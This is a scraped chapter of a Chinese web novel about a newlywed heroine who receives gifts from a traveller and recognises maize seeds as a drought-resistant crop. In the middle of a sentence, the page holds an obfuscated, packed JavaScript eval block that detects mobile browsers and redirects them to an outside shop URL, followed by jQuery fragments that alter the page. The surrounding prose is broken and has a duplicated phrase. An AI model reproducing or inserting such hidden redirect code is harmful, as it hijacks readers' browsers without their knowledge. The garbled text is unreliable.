默认冷灰
24号文字
方正启体

70. 番麦

作者:歇雨潇潇本书字数:K更新时间:
    几人互相见礼后,便分主次坐下。


    桌上已经摆上了清淡的小菜,既有下人常吃的蔬菜,也有暖棚里摘来的新鲜蔬菜,还有姚知韫腌制的各类酱菜,虽没有满桌的珍馐,却都是家常。


    徐退之笑着从身后的小几上,拿过一个泥瓦盆,里面有几片肥厚的叶子,“沉舟说弟妹喜欢侍弄花草,这是我无意在西域所得,送与弟妹做新婚贺礼,希望弟妹莫要嫌弃。”


    姚知韫眼睛澄亮,竟是芦荟!这东西可真是稀罕,“先生过谦,如此珍贵之物,怎敢嫌弃。”欢欢喜喜地接过,小心翼翼地递给身后的小桃,眼睛再也无法从那盆芦荟上移开,倒不是说没见过,只是她知道芦荟本就是外来物种,即便是鼎盛明朝也是极其珍贵之物。


    再一次地道了谢,这才落座。


    遵循着‘食不言寝不语’的规矩,姚知韫并未多问,只是简单吃了几口,便起身告退,将空间留给了霍抉,他们多时未见,应是有很多话要说,而她也需准备谢礼,答谢邕王妃与王夫人。


    徐退之望着她离去的背影,心中暗暗赞许,对霍抉这位新妇,又多了一分认知,懂礼数,知进退。


    他收回目光,思绪却飘回五年前,那年他一路往西到了一个叫沙城的地方,那里黄沙漫漫,十年九旱,三年两不收,他在大漠中迷了路,水也喝完了,吃的也没了,差点死在那里,是霍抉路过,将他从鬼门关拉回来。


    后来两人常常互通书信,不知道什么时候开始,霍抉常常托他带一些稀罕物件,不拘什么,后来一打听,你大概就知道是给这位姚姑娘的。


    五年来,他走遍大江南北,每到一处便想着霍抉的嘱托,西域的种子,海外的香料,但凡稀罕的东西,都要带上一份。


    他见证了霍抉对她的用心,也担心霍抉会受伤,也替他悬着一颗心——这样掏心掏肺地待一个人,若是个不知好歹的,该多让人心疼。


    所以霍抉说要成婚,他是无论如何也要来见一见的。倒要瞧瞧,这位姚姑娘究竟有何魅力,能让那样自持的霍抉,只将她一人放在心上。


    今日一见,他倒是有些明白了。


    生得美是一回事,可这世上好看的人多了,难得的是那身气度——不卑不亢,落落大方,该说话时说话,该告退时告退,分寸拿捏得恰到好处。


    常嬷嬷已经将回礼准备好了,只等姚知韫发话。


    四色点心自然是少不了,姚知韫还记得昨日梳发时邕王妃对她的头发的喜爱,便吩咐小桃将她自制的洗发皂装上两块,又到暖棚摘了满满一篮子新鲜蔬菜,再添上一罐茉莉花茶,一罐菊花茶,都是她亲手窨制的。


    给王夫人准备的回礼,在这个基础上多了一个她亲手绣的抹额,抹额上绣着她亲手绘制的栀子花,素雅洁净。


    唤来了青木和风叔,让青木去了邕王府,而风叔则是去了昌平伯府,青木代表的是霍抉,风叔则代表的是她自己,仔细叮嘱一番,务必将回礼亲自送到两府上。


    送走两人,她又与常嬷嬷一道,核了昨日喜宴的开销。虽是礼部操办的婚礼,但霍抉为了给她最好的,许多都是额外从外头请来的,自然要侯府自己结账。一笔笔对下来,竟也忙碌了半晌。


    待她终于能坐下来喝口茶时,才发现日头已移到正中。


    午时了。


    她唤来芙蓉,让她去前头看看徐退之他们可还在,也好安排午膳。


    芙蓉很快回来禀报:吴稚跃与沈知节均已离去,只剩下徐先生还在。侯爷吩咐,让夫人将午膳依旧摆在东次间,一起用饭。


    侯府厨房上是霍抉提前安排的人,手艺自然不在话下,姚知韫将琐事交代妥当,便带着小桃往东次间去。


    刚进门,霍抉便站起来迎了上来,徐退之也站了起来,含笑而立。姚知韫得体地回礼,便被霍抉引着在身边坐下。


    午膳吃得也很安静,下人进来撤了碗碟,换上热茶,话题这才慢慢聊开了。


    姚知韫依然是静静的,听得多,说得少,偶尔插上一两句,也得徐退之两句夸赞。


    只是霍抉没有忽略她眼底的艳羡与向往,心里暗暗下定决心,“韫儿,再等等我,清除一切障碍后,我便带你远离纷扰,游历天下。”


    徐退之说:“站在莲花峰顶,脚下是云海翻涌,太阳一出来,云海被染成金红色,就像站在了天上。”


    姚知韫便接了一句她读过的:“左天都,右莲花,背倚玉屏风”


    徐退之诧然道:“弟妹去过?”


    “不曾,书上读过,”姚知韫淡淡地笑着。


    徐退之说得更起劲了些:庐山的瀑布,黄山的云海,天台山的溪水潺潺,华山的险峻,泰山的日出。


    姚知韫低低地回上一句,“五岳归来不看山,黄山归来不看岳。”


    徐退之笑着,又说起蜀地的淳朴,云贵的竹楼,西域的回回墓——


    姚知韫听得入神,目光悠远,像是也跟着他,走了一遍那些山山水水。


    接着徐退之站起身,出去后再进来,身后跟了两个人,抬着一个樟木箱,“弟妹,这是我这次去了西北带回来的一些小玩意,沉舟说你喜欢,我就顺手带了些。”


    好大的一个箱子,徐退之一样样地拿出来,放在桌面上,都是新奇的玩意。


    “这叫戈壁玉,当地人说是风沙打磨出来的,在戈壁滩上捡的,不是什么金贵的物什,就是图个新鲜。”


    姚知韫拿起,触手温润,对光一看,透着淡淡的青色。


    “沙漠里的胡杨木,当地人用来做念珠,”接着拿出的是一串珠子,黑褐色的,大小不一,用绳子穿着。


    “胡杨,生而不死一千年,死而不倒一千年,倒而不朽一千年,三千年不朽之木的珠子,自然是珍贵的。”


    “弟妹,书读得多,知道得也多,确实如此。”徐退之眸光微闪,看向姚知韫的目光便多了些东西。


    “番红花的种球、胡椒——”琳琅满目,徐退之满满摆了一桌子。


    接着他将布袋子取出搁在一边,在下面压着一个油纸包,打开来,是一本薄薄的册子,封面没有题字,翻开一看,竟是一本手绘的草木图,有些她认得,有些从未见过。


    “受沉舟所托,这一路走下来,遇见的花花草草,随手画了几笔,不成敬意。”


    姚知韫捧着那本册子,看向霍抉,一时不知该说什么,她当然知道,徐退之做这些自然都是看霍抉的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366853|195694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面子。


    徐退之将方才搁在一旁的布袋推到霍抉跟前,推到霍抉跟前。


    “你让我找的农作物的种子,我找了一路,只找到了这个,这是我赤金偶然遇到一个商队,他们吃的就是这个,我瞧着稀奇,用了十两银子与他们换的,他们管这个叫‘番麦’,我也问了种植之法,但他们说的含糊。”


    霍抉接过,解开袋子,抓出一把金黄的籽粒。


    那些籽粒比麦粒大得多,一颗颗饱满圆润,在光下泛着温润的光泽。他看了看,又放了回去,没说话。


    只是面色微微沉了沉。


    三年前大晋的北方曾经有过一场大旱,他至今记忆犹新,自春徂夏,滴雨未落,禾草皆枯。赤地千里,饿殍载道。


    他还记得当年从京城到燕州,一路往北,遍及大晋半壁江山。他犹记得燕州知州上疏:“臣自静海抵临清,见人民饥死者三,疫死者三,为盗者死,米石银二十四两,人死取以食。”


    国库空虚,军中粮草尽断,胡人群起,如饿狼扑食,一路烧杀抢掠,如入无人之境。


    那一年,二皇子登基刚满一年,民间传闻是二皇子德不配位,触怒上天,降下的天罚。


    大晋风雨飘摇,是护国公杨老将军以死相搏,才保住这岌岌可危的江山。


    可刚安定没多久,便被崔家人陷害,背上了谋反的罪名,满门抄斩。


    这一次,无论是为了私怨还是公理,他都不能允许赵鹤轩坐上那个位置。


    这些年他托徐退之找了许多作物,希望能挽救民众于水火,只是寻觅多年,均是无果。


    这一次,也只是看了看,没抱太大的希望。


    “等等——”,姚知韫忽然出声,声音里带着一丝慌乱,还带着隐约的兴奋。她的眼睛亮得惊人,盯着那个布袋,手指微微发颤。


    徐退之愣住,霍抉也看向她,“弟妹认识?”


    何止是认识。


    她太认识了。


    爸爸的试验田里,每到秋天便是一片金黄。她那时候虽然病着,可每到初秋,爸爸总会掰几根嫩玉米回来,煮给她吃。那味道,又甜又糯,满屋子都是香气。


    后来病重了,吃不了硬东西,爸爸就把嫩玉米磨成糊,熬成粥,一勺一勺喂她。


    她盯着那两根玉米,手指微微发颤。


    这东西,能活人命的。


    “弟妹,”徐退之试探着开口,“你……认得这个?”


    “番麦,也叫番麦,种下去三四个月就能收,一株能结两到三个穗。一个穗能有几百颗这样的籽粒,不仅产量高,还极其耐旱,贫瘠的山地也能种。”


    霍抉握着茶盏的手微微一紧,若是有这样的作物,再有她暖棚里的那个土豆,那三年后的大旱,是否可以避免?


    “这些?弟妹也是从书上看到的?”徐退之自认见多识广,他可没见过这样的书,“不知道弟妹是否可以告知是那样的书?”


    姚知韫微微一怔,停顿了片刻,才缓缓开口,“在一本杂记上看过,具体的名字,忘记了。”


    徐退之知道这事不便说明,但没有追问,只是看向霍抉的眼神多了一丝调侃,仿佛在说,你这位夫人,藏得有些深。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)